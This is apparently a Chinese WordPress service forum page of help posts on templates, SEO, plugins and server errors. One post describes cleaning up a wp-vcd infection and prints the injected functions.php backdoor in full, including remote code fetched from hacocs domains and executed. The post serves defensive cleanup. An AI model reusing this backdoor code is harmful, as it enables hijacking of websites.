Shopify Free Trial Apply
Shopify 60天试用
Shopify 14天试用
WordPress

WordPress

WordPress建站及WordPress SEO相关话题
Shopify

Shopify

Shopify建站及Shopify SEO相关话题
Google SEO

Google SEO

Google SEO相关话题
SEM

SEM

SEM相关话题
Zoho

Zoho

Zoho SAAS相关产品使用话题讨论
EDM

EDM

讨论Email Marketing相关话题
Symantec SSL

Symantec SSL

讨论Symantec SSL安全相关话题
隽永东方售后服务

隽永东方售后服务

隽永东方售后服务专区

为WordPress分类添加模板选项

WordPressBob 发表了文章 • 1 个评论 • 7 次浏览 • 22 小时前 • 来自相关话题

如上图所示,我们现在使用WordPress做的网站,网站分类的模板默认都是统一的,不像后台添加页面的时候可以随意选择模板。即使我们想要添加不同的模板也只能是根据不同的分类ID或者分类slug来命名这些模板,比如:category-id.php或者category-slug.php。这样添加的话,每个分类都要添加一个模板,工作量巨大。
 
还有一种方法就是根据获取id或者slug,在模板文件里做成判断的形式,但是如果以后增加了分类,就要在模板文件里面再次添加id或者slug,过程繁琐。
 
今天介绍一个插件,可以非常快速的实现我们想要的功能,安装 Custom Category Templates 插件。插件启用后,会在category页面显示分类模板的选择选项。而我们只要制作一两个不同的分类模板即可。分类的模板需要添加一下内容: <?php
/*
Template Name: 模板A
*/
?>以上步骤完成以后,我们就会在分类看到模板选择按钮,如下图所示:




当然我们也可以在functions.php文件里面添加一段代码,来实现这个功能,此代码是在该插件里面提取出来的。 // 分类选择模板
class Select_Category_Template{
public function __construct() {
add_filter( 'category_template', array($this,'get_custom_category_template' ));
add_action ( 'edit_category_form_fields', array($this,'category_template_meta_box'));
add_action( 'category_add_form_fields', array( &$this, 'category_template_meta_box') );
add_action( 'created_category', array( &$this, 'save_category_template' ));
add_action ( 'edited_category', array($this,'save_category_template'));
do_action('Custom_Category_Template_constructor',$this);
}

// 添加表单到分类编辑页面
public function category_template_meta_box( $tag ) {
$t_id = $tag->term_id;
$cat_meta = get_option( "category_templates");
$template = isset($cat_meta[$t_id]) ? $cat_meta[$t_id] : false;
?>
<tr class="form-field">
<th scope="row" valign="top"><label for="cat_Image_url"><?php _e('Category Template'); ?></label></th>
<td>
<select name="cat_template" id="cat_template">
<option value='default'><?php _e('Default Template'); ?></option>
<?php page_template_dropdown($template); ?>
</select>
<br />
<span class="description"><?php _e('为此分类选择一个模板'); ?></span>
</td>
</tr>
<?php
do_action('Custom_Category_Template_ADD_FIELDS',$tag);
}

// 保存表单
public function save_category_template( $term_id ) {
if ( isset( $_POST['cat_template'] )) {
$cat_meta = get_option( "category_templates");
$cat_meta[$term_id] = $_POST['cat_template'];
update_option( "category_templates", $cat_meta );
do_action('Custom_Category_Template_SAVE_FIELDS',$term_id);
}
}

// 处理选择的分类模板
function get_custom_category_template( $category_template ) {
$cat_ID = absint( get_query_var('cat') );
$cat_meta = get_option('category_templates');
if (isset($cat_meta[$cat_ID]) && $cat_meta[$cat_ID] != 'default' ){
$temp = locate_template($cat_meta[$cat_ID]);
if (!empty($temp))
return apply_filters("Custom_Category_Template_found",$temp);
}
return $category_template;
}
}

$cat_template = new Select_Category_Template(); 查看全部
微信图片_20190423115644.png

如上图所示,我们现在使用WordPress做的网站,网站分类的模板默认都是统一的,不像后台添加页面的时候可以随意选择模板。即使我们想要添加不同的模板也只能是根据不同的分类ID或者分类slug来命名这些模板,比如:category-id.php或者category-slug.php。这样添加的话,每个分类都要添加一个模板,工作量巨大。
 
还有一种方法就是根据获取id或者slug,在模板文件里做成判断的形式,但是如果以后增加了分类,就要在模板文件里面再次添加id或者slug,过程繁琐。
 
今天介绍一个插件,可以非常快速的实现我们想要的功能,安装 Custom Category Templates 插件。插件启用后,会在category页面显示分类模板的选择选项。而我们只要制作一两个不同的分类模板即可。分类的模板需要添加一下内容:
    <?php
/*
Template Name: 模板A
*/
?>
以上步骤完成以后,我们就会在分类看到模板选择按钮,如下图所示:
微信图片_20190423120627.png

当然我们也可以在functions.php文件里面添加一段代码,来实现这个功能,此代码是在该插件里面提取出来的。
    // 分类选择模板
class Select_Category_Template{
public function __construct() {
add_filter( 'category_template', array($this,'get_custom_category_template' ));
add_action ( 'edit_category_form_fields', array($this,'category_template_meta_box'));
add_action( 'category_add_form_fields', array( &$this, 'category_template_meta_box') );
add_action( 'created_category', array( &$this, 'save_category_template' ));
add_action ( 'edited_category', array($this,'save_category_template'));
do_action('Custom_Category_Template_constructor',$this);
}

// 添加表单到分类编辑页面
public function category_template_meta_box( $tag ) {
$t_id = $tag->term_id;
$cat_meta = get_option( "category_templates");
$template = isset($cat_meta[$t_id]) ? $cat_meta[$t_id] : false;
?>
<tr class="form-field">
<th scope="row" valign="top"><label for="cat_Image_url"><?php _e('Category Template'); ?></label></th>
<td>
<select name="cat_template" id="cat_template">
<option value='default'><?php _e('Default Template'); ?></option>
<?php page_template_dropdown($template); ?>
</select>
<br />
<span class="description"><?php _e('为此分类选择一个模板'); ?></span>
</td>
</tr>
<?php
do_action('Custom_Category_Template_ADD_FIELDS',$tag);
}

// 保存表单
public function save_category_template( $term_id ) {
if ( isset( $_POST['cat_template'] )) {
$cat_meta = get_option( "category_templates");
$cat_meta[$term_id] = $_POST['cat_template'];
update_option( "category_templates", $cat_meta );
do_action('Custom_Category_Template_SAVE_FIELDS',$term_id);
}
}

// 处理选择的分类模板
function get_custom_category_template( $category_template ) {
$cat_ID = absint( get_query_var('cat') );
$cat_meta = get_option('category_templates');
if (isset($cat_meta[$cat_ID]) && $cat_meta[$cat_ID] != 'default' ){
$temp = locate_template($cat_meta[$cat_ID]);
if (!empty($temp))
return apply_filters("Custom_Category_Template_found",$temp);
}
return $category_template;
}
}

$cat_template = new Select_Category_Template();

如何实现先发送邮件,然后才能下载文件

WordPressLeo 发表了文章 • 1 个评论 • 19 次浏览 • 5 天前 • 来自相关话题

首先安装一个contact form 7插件,然后安装Contact Form 7 Controls插件,如下图设置





利用邮件发送之后的重定向功能,重定向到可供下载的文件。
不过有个弊端,就是一次只能下载一个文件。
适用于单个文件的下载。
 
之前试过Contact Form 7  +  Download Monitor  +   Email Before Download这三个插件组合的下载功能,初期是好用的,后续有各种莫名其妙的问题,导致无法下载。
 
另外这个Contact Form CFDB7插件可以装上,防止邮件丢失。 查看全部

1555570692(1).jpg
首先安装一个contact form 7插件,然后安装Contact Form 7 Controls插件,如下图设置

1555570806(1).jpg

利用邮件发送之后的重定向功能,重定向到可供下载的文件。
不过有个弊端,就是一次只能下载一个文件。
适用于单个文件的下载。
 
之前试过Contact Form 7  +  Download Monitor  +   Email Before Download这三个插件组合的下载功能,初期是好用的,后续有各种莫名其妙的问题,导致无法下载。
 
另外这个Contact Form CFDB7插件可以装上,防止邮件丢失。

推荐一款newsletter弹窗插件newsletter popup

WordPressLeo 发表了文章 • 1 个评论 • 152 次浏览 • 2019-02-14 14:50 • 来自相关话题

即装即用,很方便




有很多现成的框架。
 
具体效果如下图:




 
即装即用,很方便
1.png

有很多现成的框架。
 
具体效果如下图:
2.png

 

项目添加相关产品以及如何查看是否开cloudflare

WordPresswendy 发表了文章 • 1 个评论 • 194 次浏览 • 2019-01-22 09:21 • 来自相关话题

1.添加相关产品字段
1.后台设置:





 
2.代码设置:





上述代码是默认的横排,若是更改样式,则在样式表里写入想要变换的样式。
 
3.产品后台设置:





 
2.查看网站是否开启cloud flare
法1:通过dos命令窗口ping





可以查看到为104开头,是为开启cloud flare的IP段
 
法2:上述方法需要判断,当不知道是否为cloud flare的IP段时,可通过工具查看










 
像上述工具还有whois
 
 

 
 

  查看全部
1.添加相关产品字段
1.后台设置:

1.1_.png

 
2.代码设置:

1.2_.png

上述代码是默认的横排,若是更改样式,则在样式表里写入想要变换的样式。
 
3.产品后台设置:

1.3_.png

 
2.查看网站是否开启cloud flare
法1:通过dos命令窗口ping

2.1_.png

可以查看到为104开头,是为开启cloud flare的IP段
 
法2:上述方法需要判断,当不知道是否为cloud flare的IP段时,可通过工具查看

2.2_.1_.png


2.2_.2_.png

 
像上述工具还有whois
 
 

 
 

 

SEO站内优化之关键词

WordPresswendy 发表了文章 • 2 个评论 • 226 次浏览 • 2019-01-20 17:08 • 来自相关话题

本文主要讲述站内优化之关键词设定方法以及在wordpress中如何设置关键词。  
 
谷歌的排名是根据标题,描述,关键词的匹配去定位你的网站。不做SEO的网站,Google通常是随机抓取文字,这样的网站一般很难有比较好的排名和权重。让谷歌和客户都无法很好的理解你这个网页是干嘛用的,这样怎么能有排名呢?因此需要对整个网站进行分析:关键词,长尾词以及元描述等。再通过插件对每个页面进行设置。 在wordpress中就有这样一款插件用来帮助我们查看每个页面的SEO设置情况。在开始插件使用之前我们先来看一下SEO的注意点。
 
1.SEO设置注意点 
 
SEO参数主要包括:标题,描述,关键字,然后就是文章的结构了。这里列出需要注意的几点: 
1.SEO标题不要有介词,例如你写的一篇文章是how to get customer information, 那么你的标题里最好写Get customer information,而不是how to get customer information,这样不利于优化。
2.文章链接中(seo那里就是slug)更不能出现介词,这种介词在seo的词汇里叫stop words,看到stop你应该就知道了不是什么好词汇了。 
3.描述(Meta description)中第一句最好就直接copy你的关键字,这样可以很好的匹配你的标题,譬如呼应上面标题,我第一行可能会写 get customer’s information skills will be provided here. 这样匹配度很高,google就会判定你这篇文章讲的是get customer information. 
4.关键字(focus keywords)这个很重要,呼应上面标题和描述我就会写get customer information,这个关键字就很好了。我的整篇文章也是针对这个关键字写的,阐述清楚我是怎么得到客户信息的方法这些。与其说是关键字,不如说这是你的文章的中心思想。所以在写文章之前,一定要考虑清楚确定关键字。不知道关键字,就别写了。 
5.要有H2 小标题,尽量给自己的文章取小标题,这样简洁明了。而且最好有一个小标题还要包含你的关键字。 
6.在文章首段需要注意把你自己的关键字写进去。譬如这篇文章主要是想把 Solar Off- Grid Power Plant System,这个关键字推上去,则你就需要在第一段把这个关键字写进去。一般出现一次就够了,在文章中再出现个一两次就可以了。这就比较自然。 
7.每篇文章中配一张图片,图片要把alt属性填好,也就是把这个关键字写到图片的标题上,还有下面那个alt也写好。
8.一篇文章配一个链接,这个链接其实就是call to action, 客户看完这篇文章,就引导他去干件事,譬如给你发询盘这样。
 
 
 
2.word press设置方法 
2.1 先在wordpress后台下载并安装SEO插件







2.2  SEO yoast功能使用
Yoast seo 会在wp网站的所有页面(page、post、portfolio等)后台内容编辑器下方加上yoast seo设置菜单

















Yoast Seo会给你的设置进行评分,绿色的就是好,黄色就是一般,红色就不及格。如果是不及格的话,就可以看下对方给你的提示,根据提示进行修改即可。 标题的描述最好精炼。





 
Focus keyword的内容填写的也是你的页面设置的关键词,它的作用是给seo yoast 一个给你页面打分的标准,如果你不填,就没办法对你的页面进行测评,也法给出改善建议。





 
 
以上就是SEO关键词以及在word press中如何设置关键词的注意点。SEO的营销优化不是一蹴而就的事情,想要网站的排名慢慢靠前,并且网站的权重升高,需要网站的负责人配合营销人员一起逐步去完善网站的方方面面,一步一个脚印才能走得扎实走的稳健,若是利用捷径,是会在短期内会有排名,但是这种排名后期很快会被刷下来,并且被惩罚一年或者几年无法收录,网站被注入病毒等等,这样根本就得不偿失了。 查看全部
本文主要讲述站内优化之关键词设定方法以及在wordpress中如何设置关键词。  
 
谷歌的排名是根据标题,描述,关键词的匹配去定位你的网站。不做SEO的网站,Google通常是随机抓取文字,这样的网站一般很难有比较好的排名和权重。让谷歌和客户都无法很好的理解你这个网页是干嘛用的,这样怎么能有排名呢?因此需要对整个网站进行分析:关键词,长尾词以及元描述等。再通过插件对每个页面进行设置。 在wordpress中就有这样一款插件用来帮助我们查看每个页面的SEO设置情况。在开始插件使用之前我们先来看一下SEO的注意点。
 
1.SEO设置注意点 
 
SEO参数主要包括:标题,描述,关键字,然后就是文章的结构了。这里列出需要注意的几点: 
1.SEO标题不要有介词,例如你写的一篇文章是how to get customer information, 那么你的标题里最好写Get customer information,而不是how to get customer information,这样不利于优化。
2.文章链接中(seo那里就是slug)更不能出现介词,这种介词在seo的词汇里叫stop words,看到stop你应该就知道了不是什么好词汇了。 
3.描述(Meta description)中第一句最好就直接copy你的关键字,这样可以很好的匹配你的标题,譬如呼应上面标题,我第一行可能会写 get customer’s information skills will be provided here. 这样匹配度很高,google就会判定你这篇文章讲的是get customer information. 
4.关键字(focus keywords)这个很重要,呼应上面标题和描述我就会写get customer information,这个关键字就很好了。我的整篇文章也是针对这个关键字写的,阐述清楚我是怎么得到客户信息的方法这些。与其说是关键字,不如说这是你的文章的中心思想。所以在写文章之前,一定要考虑清楚确定关键字。不知道关键字,就别写了。 
5.要有H2 小标题,尽量给自己的文章取小标题,这样简洁明了。而且最好有一个小标题还要包含你的关键字。 
6.在文章首段需要注意把你自己的关键字写进去。譬如这篇文章主要是想把 Solar Off- Grid Power Plant System,这个关键字推上去,则你就需要在第一段把这个关键字写进去。一般出现一次就够了,在文章中再出现个一两次就可以了。这就比较自然。 
7.每篇文章中配一张图片,图片要把alt属性填好,也就是把这个关键字写到图片的标题上,还有下面那个alt也写好。
8.一篇文章配一个链接,这个链接其实就是call to action, 客户看完这篇文章,就引导他去干件事,譬如给你发询盘这样。
 
 
 
2.word press设置方法 
2.1 先在wordpress后台下载并安装SEO插件

2.1_.png



2.2  SEO yoast功能使用
Yoast seo 会在wp网站的所有页面(page、post、portfolio等)后台内容编辑器下方加上yoast seo设置菜单

2.2_.1_.png


2.2_.2_.png


2.2_.3_.png



Yoast Seo会给你的设置进行评分,绿色的就是好,黄色就是一般,红色就不及格。如果是不及格的话,就可以看下对方给你的提示,根据提示进行修改即可。 标题的描述最好精炼。

2.2_.4_.png

 
Focus keyword的内容填写的也是你的页面设置的关键词,它的作用是给seo yoast 一个给你页面打分的标准,如果你不填,就没办法对你的页面进行测评,也法给出改善建议。

2.2_.5_.png

 
 
以上就是SEO关键词以及在word press中如何设置关键词的注意点。SEO的营销优化不是一蹴而就的事情,想要网站的排名慢慢靠前,并且网站的权重升高,需要网站的负责人配合营销人员一起逐步去完善网站的方方面面,一步一个脚印才能走得扎实走的稳健,若是利用捷径,是会在短期内会有排名,但是这种排名后期很快会被刷下来,并且被惩罚一年或者几年无法收录,网站被注入病毒等等,这样根本就得不偿失了。

WordPress疑难杂症之后台控制台503、500 error等

WordPressLeo 发表了文章 • 1 个评论 • 213 次浏览 • 2019-01-15 16:57 • 来自相关话题

此药方根据本草纲目第五十三卷所写,经过七七四十九分钟的文火慢熬,药效达到最佳。(ps:《本草纲目》,本草著作,52卷。明代李时珍(东璧)撰于嘉靖三十一年(1552年)至万历六年(1578年),稿凡三易。此书采用“目随纲举”编写体例,故以“纲目”名书。)
#万物皆刻盘# 
简单陈述一下网站发现的问题,
1、首先后台wpbakery page builder插件(我们俗称的VC插件),这个插件里面的小控件都无法编辑,始终处于一个loading的status,另外控制台打开会看到关于admin-ajax.php的503、500、404等等的报错
2、其次网站后台很多功能不正常,列如:不能清除后台缓存、安装插件和删除插件有问题、还会导致一些插件功能失效,打开相关功能可能会变成404页面
3、然后前台我们发现,url不以“\”结尾,网站就不能打开了,如下图所示报错:




4、最后,当然不止以上三个问题,还有很多没有发现和我已经忘记的问题没有列出来。但是问题解决方法是一样的,就是那么easy! (﹀_﹀)╭  

trust the process​






 
Actually,过程这个东西我轻易是不会说出来的。ㄟ( ▔, ▔ )ㄏ
 
Don't worry!我会告诉你怎么解决的。
 
首先我谷歌了一下,(其实之前进行了一系列操作,相信过程)




查到是mod_security这个模块导致的,因此想到可能是服务器屏蔽了这些请求,才导致的错误。
所以我们首先打开服务器上的mod_security模块,








这样,我们对症下药,把引起问题的规则关闭,这样网站就正常了。
 
Perfect!!!
 
By the way,盘它。。。





 

  查看全部
此药方根据本草纲目第五十三卷所写,经过七七四十九分钟的文火慢熬,药效达到最佳。(ps:《本草纲目》,本草著作,52卷。明代李时珍(东璧)撰于嘉靖三十一年(1552年)至万历六年(1578年),稿凡三易。此书采用“目随纲举”编写体例,故以“纲目”名书。)
#万物皆刻盘# 
简单陈述一下网站发现的问题,
1、首先后台wpbakery page builder插件(我们俗称的VC插件),这个插件里面的小控件都无法编辑,始终处于一个loading的status,另外控制台打开会看到关于admin-ajax.php的503、500、404等等的报错
2、其次网站后台很多功能不正常,列如:不能清除后台缓存、安装插件和删除插件有问题、还会导致一些插件功能失效,打开相关功能可能会变成404页面
3、然后前台我们发现,url不以“\”结尾,网站就不能打开了,如下图所示报错:
1.png

4、最后,当然不止以上三个问题,还有很多没有发现和我已经忘记的问题没有列出来。但是问题解决方法是一样的,就是那么easy! (﹀_﹀)╭  


trust the process​



2.png

 
Actually,过程这个东西我轻易是不会说出来的。ㄟ( ▔, ▔ )ㄏ
 
Don't worry!我会告诉你怎么解决的。
 
首先我谷歌了一下,(其实之前进行了一系列操作,相信过程)
3.png

查到是mod_security这个模块导致的,因此想到可能是服务器屏蔽了这些请求,才导致的错误。
所以我们首先打开服务器上的mod_security模块,
4.png

5.png

这样,我们对症下药,把引起问题的规则关闭,这样网站就正常了。
 
Perfect!!!
 
By the way,盘它。。。

6.png

 

 

针对隽永东方建站客户产品添加,资料整理建议

WordPressLeo 发表了文章 • 1 个评论 • 246 次浏览 • 2019-01-10 14:30 • 来自相关话题

产品添加,因为我们是乙方,不可能对甲方的产品熟悉,所以资料一定要简单明了。
以下是我司一个优质客户整理的众多产品资料中的一个产品,内容相当明晰,让添加者真的是心情愉快。










 
希望之后有协助添加产品需求的客户朋友可以尽量参照这种格式,这样提升大家的工作效率。
同事们也要在第一时间主动告诉客户需要怎样的产品资料格式,以免客户多做一遍产品整理! 查看全部
产品添加,因为我们是乙方,不可能对甲方的产品熟悉,所以资料一定要简单明了。
以下是我司一个优质客户整理的众多产品资料中的一个产品,内容相当明晰,让添加者真的是心情愉快。

1.png


2.png

 
希望之后有协助添加产品需求的客户朋友可以尽量参照这种格式,这样提升大家的工作效率。
同事们也要在第一时间主动告诉客户需要怎样的产品资料格式,以免客户多做一遍产品整理!

Ewww优化器插件报错“EWWW Image Optimizer需要exec() function”

WordPressLeo 发表了文章 • 1 个评论 • 169 次浏览 • 2019-01-07 11:37 • 来自相关话题

使用EWWW插件时,您可能会看到以下错误:
EWWW Image Optimizer需要exec()。您的系统管理员已禁用此功能。
不幸的是,出于安全原因,服务器将无法启用exec()函数。
我们建议使用API​​或基于云的插件,其中所有图像处理都在远程服务器上进行,并且不需要安装任何本地可执行文件。
这个API可以在EWWW这个图片压缩插件里获取,通过购买图片压缩的套餐。(EWWW这个插件是较好的图片压缩插件,而且目前也没有免费版本的图片压缩插件,价格也不贵)





注意:如果想要网站获得更好一点的得分,那么这个图片压缩插件必不可少!
https://ewww.io/plans/
 
既然提到了图片压缩,必然要提下速度,公所周知,谷歌近期调整了pagespeed insight评分标准,更为严苛,之前测评80、90分的网站,可能现在只有十几二十分。优化无非以下几点:
1、script、link添加属性,但必要资源是不能添加这些属性的,会导致网站错乱,毕竟html只是骨架,而css、js就是衣服和行为动作,人没有衣服和行为动作,那只是一堆骨头,那这样的人不就是个死人?同理,那这样的网站,要了做什么?做个word文档不是更好?有些朋友不懂这些资源的原理,那既然有人给你解释了,就要接受,要懂得“鱼和熊掌不可兼得”的道理。
2、图片,任何不需要png格式的图片,都要用jpeg、webp格式图片,png格式压缩效率低下。
3、文件压缩
4、文件缓存,3、4两点,wordpress有插件可以操作。 查看全部
使用EWWW插件时,您可能会看到以下错误:
EWWW Image Optimizer需要exec()。您的系统管理员已禁用此功能。
不幸的是,出于安全原因,服务器将无法启用exec()函数。
我们建议使用API​​或基于云的插件,其中所有图像处理都在远程服务器上进行,并且不需要安装任何本地可执行文件。
这个API可以在EWWW这个图片压缩插件里获取,通过购买图片压缩的套餐。(EWWW这个插件是较好的图片压缩插件,而且目前也没有免费版本的图片压缩插件,价格也不贵)

1.png

注意:如果想要网站获得更好一点的得分,那么这个图片压缩插件必不可少!
https://ewww.io/plans/
 
既然提到了图片压缩,必然要提下速度,公所周知,谷歌近期调整了pagespeed insight评分标准,更为严苛,之前测评80、90分的网站,可能现在只有十几二十分。优化无非以下几点:
1、script、link添加属性,但必要资源是不能添加这些属性的,会导致网站错乱,毕竟html只是骨架,而css、js就是衣服和行为动作,人没有衣服和行为动作,那只是一堆骨头,那这样的人不就是个死人?同理,那这样的网站,要了做什么?做个word文档不是更好?有些朋友不懂这些资源的原理,那既然有人给你解释了,就要接受,要懂得“鱼和熊掌不可兼得”的道理。
2、图片,任何不需要png格式的图片,都要用jpeg、webp格式图片,png格式压缩效率低下。
3、文件压缩
4、文件缓存,3、4两点,wordpress有插件可以操作。

针对 Wordpress 网站的新一轮 wp-vcd 恶意软件攻击

WordPressLeo 发表了文章 • 1 个评论 • 295 次浏览 • 2018-12-20 16:15 • 来自相关话题

最近发现一个客户的bluehost被暂停了,官方说有病毒,经过和bluehost客服长时间的交流,基本确定了wp-tmp.php、wp-vcd.php以及functions.php三个文件是病毒或是被植入了病毒。
经过对wordpress原始模板的参照,我发现wp-tmp.php、wp-vcd.php这两个文件是不存在的,大可放心删掉。
然后回到functions.php的排毒,

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '506d7259a8f069cc6257622ae35e8322'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{




case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {
                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {
                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}







$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
   {
   }
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        
$wp_auth_key='0082cfd4a04f1a4a5ffb8988545e59bd';
        if (($tmpcontent = @file_get_contents("http://www.hacocs.com/code.php";) OR $tmpcontent = @file_get_contents_tcurl("http://www.hacocs.com/code.php";)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.pw/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.top/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } 
        
        
        
        
        
    }
}
//$start_wp_theme_tmp


//wp_tmp

//$end_wp_theme_tmp
?>
经过观察,这是一段植入的病毒程序,需要手工删掉。
 
这些攻击主要利用了目标网站过时的插件和主题中存在的安全漏洞。被标记为 "wp-vcd" 的恶意代码主要隐藏在合法的 WordPress 文件中,且被攻击者用于添加一个秘密的管理员账户,随后获取对受感染网站的完全控制权。
 
该恶意代码的初始版本通过一个名为 "wp-vcd.php" 的文件将恶意代码注入到 WordPress 核心文件中。
 
在我们发现的大多数案例中,恶意软件的注入都与过时的软件(插件或主题)有关。只要进行了简单的安全更新或是启用 WAF 都能够成功地阻断这种行为。该恶意代码非常简单,并没有通过编码或混淆函数来隐藏其恶意的意图……
 
所以建议大家插件常更新、主题常更新,这样也能有效防御病毒侵袭。 查看全部
最近发现一个客户的bluehost被暂停了,官方说有病毒,经过和bluehost客服长时间的交流,基本确定了wp-tmp.php、wp-vcd.php以及functions.php三个文件是病毒或是被植入了病毒。
经过对wordpress原始模板的参照,我发现wp-tmp.php、wp-vcd.php这两个文件是不存在的,大可放心删掉。
然后回到functions.php的排毒,

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '506d7259a8f069cc6257622ae35e8322'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{




case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {
                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {
                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}







$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
   {
   }
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        
